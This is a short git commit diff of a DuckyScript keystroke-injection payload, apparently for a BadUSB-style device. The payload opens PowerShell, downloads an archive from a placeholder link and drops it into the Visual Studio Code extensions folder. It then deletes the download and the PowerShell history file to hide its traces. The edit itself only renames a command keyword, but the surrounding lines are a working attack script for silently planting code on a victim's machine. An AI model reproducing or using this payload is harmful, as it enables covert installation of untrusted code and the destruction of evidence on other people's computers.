Update payload.txt
parent
284195f4cd
commit
2c84ff499c
|
@ -64,7 +64,7 @@ DELAY 1000
|
|||
STRINGLN PowerShell
|
||||
DELAY 1000
|
||||
|
||||
STRINGLN
|
||||
STRINGLN_POWERSHELL
|
||||
$extensionsPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\#EXTENSION_NAME"
|
||||
|
||||
if (Test-Path -Path $extensionsPath -PathType Container) {
|
||||
|
@ -75,7 +75,7 @@ END_STRINGLN
|
|||
REM May it depends by the extension...
|
||||
DELAY 2000
|
||||
|
||||
STRINGLN
|
||||
STRINGLN_POWERSHELL
|
||||
$url = "#ARCHIVE_LINK"
|
||||
$downloadPath = "$env:TEMP\#EXTENSION_NAME.zip"
|
||||
$extractPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\#EXTENSION_NAME"
|
||||
|
@ -85,4 +85,4 @@ STRINGLN
|
|||
Remove-Item -Path $downloadPath -Force
|
||||
Remove-Item (Get-PSReadlineOption).HistorySavePath; exit
|
||||
}
|
||||
END_STRINGLN
|
||||
END_STRINGLN
|
||||
|
|
Loading…
Reference in New Issue